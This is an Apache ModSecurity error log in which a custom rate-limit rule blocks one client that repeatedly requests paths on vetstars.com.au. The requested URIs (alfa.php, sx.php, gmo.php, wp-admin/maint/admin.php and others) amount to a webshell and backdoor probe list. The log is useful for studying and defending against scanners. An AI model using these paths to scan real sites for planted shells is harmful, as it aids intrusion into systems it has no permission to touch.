[Thu Dec 11 20:42:34.823773 2025] [:error] [pid 57990:tid 57995] [client 52.230.86.213:62412] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aTq8OgqZT_dc36fQdXGD4wAAAAA"]
[Thu Dec 11 20:42:35.031867 2025] [:error] [pid 24527:tid 24570] [client 52.230.86.213:19044] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aTq8O19_glvtS5vXiTUHZwAAAo4"]
[Thu Dec 11 20:42:35.238647 2025] [:error] [pid 24527:tid 24571] [client 52.230.86.213:18643] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aTq8O19_glvtS5vXiTUHaQAAAo8"]
[Thu Dec 11 20:42:35.516768 2025] [:error] [pid 57991:tid 58034] [client 52.230.86.213:51016] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aTq8O6PyGmNXA2ZsETa27gAAAEw"]
[Thu Dec 11 20:42:35.727911 2025] [:error] [pid 48261:tid 48278] [client 52.230.86.213:18759] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aTq8O-yPI4WU-4JmiQPAoQAAAY4"]
[Thu Dec 11 20:42:35.904583 2025] [:error] [pid 58814:tid 58832] [client 52.230.86.213:62448] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aTq8O9iz0l9AD_3pkMwzsQAAAdA"]
[Thu Dec 11 20:42:36.087728 2025] [:error] [pid 48261:tid 48279] [client 52.230.86.213:50369] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aTq8POyPI4WU-4JmiQPAogAAAY8"]
[Thu Dec 11 20:42:36.267428 2025] [:error] [pid 24527:tid 24558] [client 52.230.86.213:18782] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aTq8PF9_glvtS5vXiTUHagAAAoI"]
[Thu Dec 11 20:42:36.464695 2025] [:error] [pid 58099:tid 58118] [client 52.230.86.213:19057] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aTq8PMKZVSF_bdPFqRgYDAAAANE"]
[Thu Dec 11 20:42:36.640008 2025] [:error] [pid 24483:tid 24487] [client 52.230.86.213:18883] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aTq8PFGHKh2d_uVkopRfbwAAAgI"]
[Thu Dec 11 20:42:36.816395 2025] [:error] [pid 24483:tid 24492] [client 52.230.86.213:57288] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aTq8PFGHKh2d_uVkopRfcQAAAgc"]
[Thu Dec 11 20:42:37.042994 2025] [:error] [pid 48261:tid 48265] [client 52.230.86.213:51670] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aTq8PeyPI4WU-4JmiQPApQAAAYE"]
[Thu Dec 11 20:42:37.265541 2025] [:error] [pid 57990:tid 58001] [client 52.230.86.213:51661] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aTq8PQqZT_dc36fQdXGD5AAAAAY"]
[Thu Dec 11 20:42:37.462625 2025] [:error] [pid 35112:tid 35118] [client 52.230.86.213:57326] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aTq8PZ9ZpQ0WIeJhsJdrDwAAAUQ"]
[Thu Dec 11 20:42:37.651779 2025] [:error] [pid 48261:tid 48274] [client 52.230.86.213:51011] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aTq8PeyPI4WU-4JmiQPApgAAAYo"]
[Thu Dec 11 20:42:37.826471 2025] [:error] [pid 58099:tid 58103] [client 52.230.86.213:19022] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aTq8PcKZVSF_bdPFqRgYDwAAAMI"]
[Thu Dec 11 20:42:38.029495 2025] [:error] [pid 24483:tid 24499] [client 52.230.86.213:51699] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aTq8PlGHKh2d_uVkopRfcgAAAg4"]
[Thu Dec 11 20:42:38.212724 2025] [:error] [pid 58814:tid 58836] [client 52.230.86.213:18641] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aTq8Ptiz0l9AD_3pkMwzswAAAdQ"]
[Thu Dec 11 20:42:38.392274 2025] [:error] [pid 48261:tid 48283] [client 52.230.86.213:50407] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aTq8PuyPI4WU-4JmiQPAqAAAAZM"]
[Thu Dec 11 20:42:38.582905 2025] [:error] [pid 48261:tid 48273] [client 52.230.86.213:18801] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aTq8PuyPI4WU-4JmiQPAqQAAAYk"]
[Thu Dec 11 20:42:38.766416 2025] [:error] [pid 58099:tid 58121] [client 52.230.86.213:57310] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aTq8PsKZVSF_bdPFqRgYEAAAANQ"]
[Thu Dec 11 20:42:38.997282 2025] [:error] [pid 48261:tid 48267] [client 52.230.86.213:18775] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aTq8PuyPI4WU-4JmiQPAqwAAAYM"]
[Thu Dec 11 20:42:39.171390 2025] [:error] [pid 58814:tid 58833] [client 52.230.86.213:50430] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aTq8P9iz0l9AD_3pkMwztAAAAdE"]
[Thu Dec 11 20:42:39.351261 2025] [:error] [pid 24527:tid 24573] [client 52.230.86.213:18813] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aTq8P19_glvtS5vXiTUHbwAAApE"]
[Thu Dec 11 20:42:39.526623 2025] [:error] [pid 58814:tid 58827] [client 52.230.86.213:62429] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aTq8P9iz0l9AD_3pkMwztQAAAcs"]
[Thu Dec 11 20:42:39.721100 2025] [:error] [pid 58814:tid 58823] [client 52.230.86.213:18881] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aTq8P9iz0l9AD_3pkMwztwAAAcc"]
[Thu Dec 11 20:42:39.933447 2025] [:error] [pid 27459:tid 27484] [client 52.230.86.213:60333] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aTq8P1hPEXihPBKMpRNeKwAAARc"]
[Thu Dec 11 20:42:40.120232 2025] [:error] [pid 48261:tid 48281] [client 52.230.86.213:62339] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aTq8QOyPI4WU-4JmiQPArQAAAZE"]
[Thu Dec 11 20:42:40.297321 2025] [:error] [pid 58814:tid 58834] [client 52.230.86.213:62462] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aTq8QNiz0l9AD_3pkMwzugAAAdI"]
[Thu Dec 11 20:42:40.507853 2025] [:error] [pid 24527:tid 24562] [client 52.230.86.213:55708] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aTq8QF9_glvtS5vXiTUHcAAAAoY"]
[Thu Dec 11 20:42:40.690103 2025] [:error] [pid 24483:tid 24500] [client 52.230.86.213:57304] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aTq8QFGHKh2d_uVkopRfeQAAAg8"]
[Thu Dec 11 20:42:40.866101 2025] [:error] [pid 27459:tid 27483] [client 52.230.86.213:19058] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aTq8QFhPEXihPBKMpRNeLAAAARY"]
[Thu Dec 11 20:42:41.051922 2025] [:error] [pid 27459:tid 27478] [client 52.230.86.213:18625] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aTq8QVhPEXihPBKMpRNeLQAAARE"]
[Thu Dec 11 20:42:41.228237 2025] [:error] [pid 27459:tid 27473] [client 52.230.86.213:18754] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aTq8QVhPEXihPBKMpRNeLgAAAQw"]
[Thu Dec 11 20:42:41.406721 2025] [:error] [pid 24527:tid 24575] [client 52.230.86.213:62458] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aTq8QV9_glvtS5vXiTUHcwAAApM"]
[Thu Dec 11 20:42:41.588110 2025] [:error] [pid 24527:tid 24557] [client 52.230.86.213:62336] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aTq8QV9_glvtS5vXiTUHdAAAAoE"]
[Thu Dec 11 20:42:41.763868 2025] [:error] [pid 27459:tid 27474] [client 52.230.86.213:18780] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aTq8QVhPEXihPBKMpRNeLwAAAQ0"]
[Thu Dec 11 20:42:41.936536 2025] [:error] [pid 27459:tid 27461] [client 52.230.86.213:62416] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aTq8QVhPEXihPBKMpRNeMgAAAQA"]
[Thu Dec 11 20:42:42.185793 2025] [:error] [pid 27459:tid 27462] [client 52.230.86.213:60300] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aTq8QlhPEXihPBKMpRNeMwAAAQE"]
[Thu Dec 11 20:42:42.365989 2025] [:error] [pid 27459:tid 27485] [client 52.230.86.213:57336] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aTq8QlhPEXihPBKMpRNeNQAAARg"]
[Thu Dec 11 20:42:42.604382 2025] [:error] [pid 57991:tid 58031] [client 52.230.86.213:19051] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aTq8QqPyGmNXA2ZsETa27wAAAEk"]
[Thu Dec 11 20:42:42.801368 2025] [:error] [pid 57992:tid 58069] [client 52.230.86.213:18784] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aTq8QuUeau0BMFF2vHmyawAAAJQ"]
[Thu Dec 11 20:42:42.979075 2025] [:error] [pid 57992:tid 58056] [client 52.230.86.213:51060] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aTq8QuUeau0BMFF2vHmybAAAAIc"]
[Thu Dec 11 20:42:43.160871 2025] [:error] [pid 24527:tid 24577] [client 52.230.86.213:19034] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aTq8Q19_glvtS5vXiTUHdgAAApU"]
[Thu Dec 11 20:42:43.369844 2025] [:error] [pid 58814:tid 58822] [client 52.230.86.213:62441] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aTq8Q9iz0l9AD_3pkMwzwQAAAcY"]
[Thu Dec 11 20:42:43.562638 2025] [:error] [pid 58814:tid 58832] [client 52.230.86.213:18804] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aTq8Q9iz0l9AD_3pkMwzwwAAAdA"]
[Thu Dec 11 20:42:43.739783 2025] [:error] [pid 48261:tid 48274] [client 52.230.86.213:18798] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aTq8Q-yPI4WU-4JmiQPArgAAAYo"]
[Thu Dec 11 20:42:43.952564 2025] [:error] [pid 35112:tid 35131] [client 52.230.86.213:18790] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aTq8Q59ZpQ0WIeJhsJdrEgAAAVE"]
[Thu Dec 11 20:42:44.131361 2025] [:error] [pid 48261:tid 48270] [client 52.230.86.213:19040] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aTq8ROyPI4WU-4JmiQPAsAAAAYY"]
[Thu Dec 11 20:42:44.314676 2025] [:error] [pid 48261:tid 48277] [client 52.230.86.213:51036] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aTq8ROyPI4WU-4JmiQPAsQAAAY0"]
[Thu Dec 11 20:42:44.501937 2025] [:error] [pid 48261:tid 48268] [client 52.230.86.213:62431] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aTq8ROyPI4WU-4JmiQPAswAAAYQ"]
[Thu Dec 11 20:42:44.739737 2025] [:error] [pid 57991:tid 58041] [client 52.230.86.213:51659] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aTq8RKPyGmNXA2ZsETa28QAAAFM"]
[Thu Dec 11 20:42:44.917339 2025] [:error] [pid 27459:tid 27463] [client 52.230.86.213:18760] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aTq8RFhPEXihPBKMpRNeNgAAAQI"]
[Thu Dec 11 20:42:45.092271 2025] [:error] [pid 27459:tid 27466] [client 52.230.86.213:18793] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aTq8RVhPEXihPBKMpRNeNwAAAQU"]
[Thu Dec 11 20:42:45.267544 2025] [:error] [pid 27459:tid 27476] [client 52.230.86.213:62386] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aTq8RVhPEXihPBKMpRNeOQAAAQ8"]
[Thu Dec 11 20:42:45.469723 2025] [:error] [pid 27459:tid 27464] [client 52.230.86.213:50400] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aTq8RVhPEXihPBKMpRNeOgAAAQM"]
